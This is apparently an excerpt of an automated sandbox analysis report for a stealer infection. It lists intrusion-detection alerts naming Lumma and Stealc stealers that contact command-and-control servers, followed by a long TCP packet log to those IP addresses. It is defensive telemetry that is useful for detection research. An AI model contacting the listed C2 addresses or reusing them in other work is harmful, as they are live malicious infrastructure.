2024-12-15T12:00:36.495000+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49951	23.55.153.106	443	TCP
2024-12-15T12:00:37.243373+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49950	185.215.113.206	80	TCP
2024-12-15T12:00:37.922877+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49950	TCP
2024-12-15T12:00:38.243647+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49950	185.215.113.206	80	TCP
2024-12-15T12:00:38.875886+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49950	TCP
2024-12-15T12:00:40.597259+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49950	185.215.113.206	80	TCP
2024-12-15T12:00:41.429014+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49950	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 15, 2024 11:59:04.216741085 CET	49748	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:04.337155104 CET	80	49748	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:04.337395906 CET	49748	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:04.337490082 CET	49748	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:04.457534075 CET	80	49748	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:05.670171976 CET	80	49748	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:05.670331001 CET	49748	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:07.177453995 CET	49748	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:07.177715063 CET	49754	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:07.299148083 CET	80	49754	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:07.299348116 CET	49754	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:07.299381018 CET	80	49748	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:07.299454927 CET	49748	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:07.299572945 CET	49754	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:07.419434071 CET	80	49754	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:08.664598942 CET	80	49754	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:08.664669991 CET	49754	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:08.668173075 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:08.788645983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:08.788736105 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:08.788897991 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:08.912545919 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123203039 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123223066 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123342037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123378992 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123384953 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123503923 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.123509884 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123522043 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123528957 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123543024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123553038 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.123609066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.123609066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.123883009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.243885994 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.243957996 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.244004965 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.244062901 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.248136997 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.248187065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.248188972 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.248218060 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.315824986 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.315835953 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.315951109 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.318058014 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.318104029 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.318135977 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.318175077 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.326534033 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.326591969 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.326623917 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.326658964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.335042000 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.335097075 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.335129023 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.335166931 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.343492031 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.343576908 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.343643904 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.351912022 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.351972103 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.352014065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.352055073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.360485077 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.360531092 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.360569000 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.360610962 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.368796110 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.368849039 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.368854046 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.368885994 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.377301931 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.377358913 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.377396107 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.377439022 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.385786057 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.385843039 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.385883093 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.385958910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.394187927 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.394242048 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.394316912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.394350052 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.402614117 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.402657986 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.402667999 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.402683973 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.435699940 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.435753107 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.508892059 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.508909941 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.508996964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.508996964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.511064053 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.511102915 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.511168957 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.511202097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.515434027 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.515484095 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.515639067 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.515674114 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.519968987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.520011902 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.520036936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.520070076 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.524365902 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.524409056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.524455070 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.524491072 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.528804064 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.528867960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.528987885 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.529040098 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.533281088 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.533329964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.533360958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.533394098 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.537715912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.537760973 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.537816048 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.537851095 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.542193890 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.542258978 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.542299032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.542347908 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.546612024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.546681881 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.546812057 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.546849012 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.551103115 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.551146984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.551158905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.551194906 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.555562973 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.555603027 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.555636883 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.555670023 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.560041904 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.560092926 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.560125113 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.560163021 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.564421892 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.564469099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.564501047 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.564537048 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.569022894 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.569061995 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.569125891 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.569164038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.572628021 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.572679996 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.572688103 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.572725058 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.576240063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.576284885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.576371908 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.576405048 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.579886913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.579937935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.579977036 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.580012083 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.583564043 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.583621025 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.583626986 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.583657026 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.587189913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.587238073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.587279081 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.587318897 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.590946913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.590993881 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.591025114 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.591058969 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.594525099 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.594562054 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.594635963 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.594674110 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.629048109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.629066944 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.629132986 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.630808115 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.630819082 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.630835056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.630851030 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.630875111 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.700184107 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.700237036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.700361013 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.700397015 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.701591015 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.701627970 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.702138901 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.702177048 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.702194929 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.702231884 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.704914093 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.704962015 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.705033064 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.705065966 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.707700014 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.707745075 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.707782984 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.707815886 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.710530043 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.710570097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.710591078 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.710624933 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.713335037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.713371992 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.713397026 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.713433027 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.715872049 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.715908051 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.715972900 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.716008902 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.718596935 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.718641043 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.718704939 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.718739986 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.721179008 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.721227884 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.721261024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.721297979 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.723618984 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.723663092 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.723740101 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.723774910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.726160049 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.726202011 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.726258039 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.726294041 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.728696108 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.728733063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.728741884 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.728763103 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.731307983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.731359005 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.731393099 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.731430054 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.733772993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.733814001 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.733923912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.733964920 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.736450911 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.736507893 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.736510038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.736545086 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.738837957 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.738887072 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.738950968 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.738986015 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.741388083 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.741434097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.741508007 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.741549015 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.744151115 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.744199991 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.744204044 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.744244099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.746556997 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.746602058 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.746735096 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.746776104 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.748919964 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.749013901 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.749023914 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.749063969 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.751458883 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.751507998 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.751560926 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.751609087 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.753957033 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.754007101 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.754010916 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.754050016 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.755845070 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.755892038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.755958080 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.755997896 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.757843018 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.757883072 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.820175886 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.820205927 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.820236921 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.820256948 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.820854902 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.820903063 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.820954084 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.820991993 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.822511911 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.822551012 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.822566032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.822604895 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.824384928 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.824425936 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.824440002 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.824476957 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.826235056 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.826278925 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.826347113 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.826391935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.828058958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.828099966 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.893387079 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.893420935 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.893444061 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.893488884 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.894215107 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.894313097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.894320011 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.894359112 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.896029949 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.896073103 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.896713972 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.896749973 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.896789074 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.896821022 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.898549080 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.898601055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.898624897 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.898663044 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.900338888 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:10.900384903 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:10.900450945 CET	80	49760	31.41.244.11	192.168.2.4
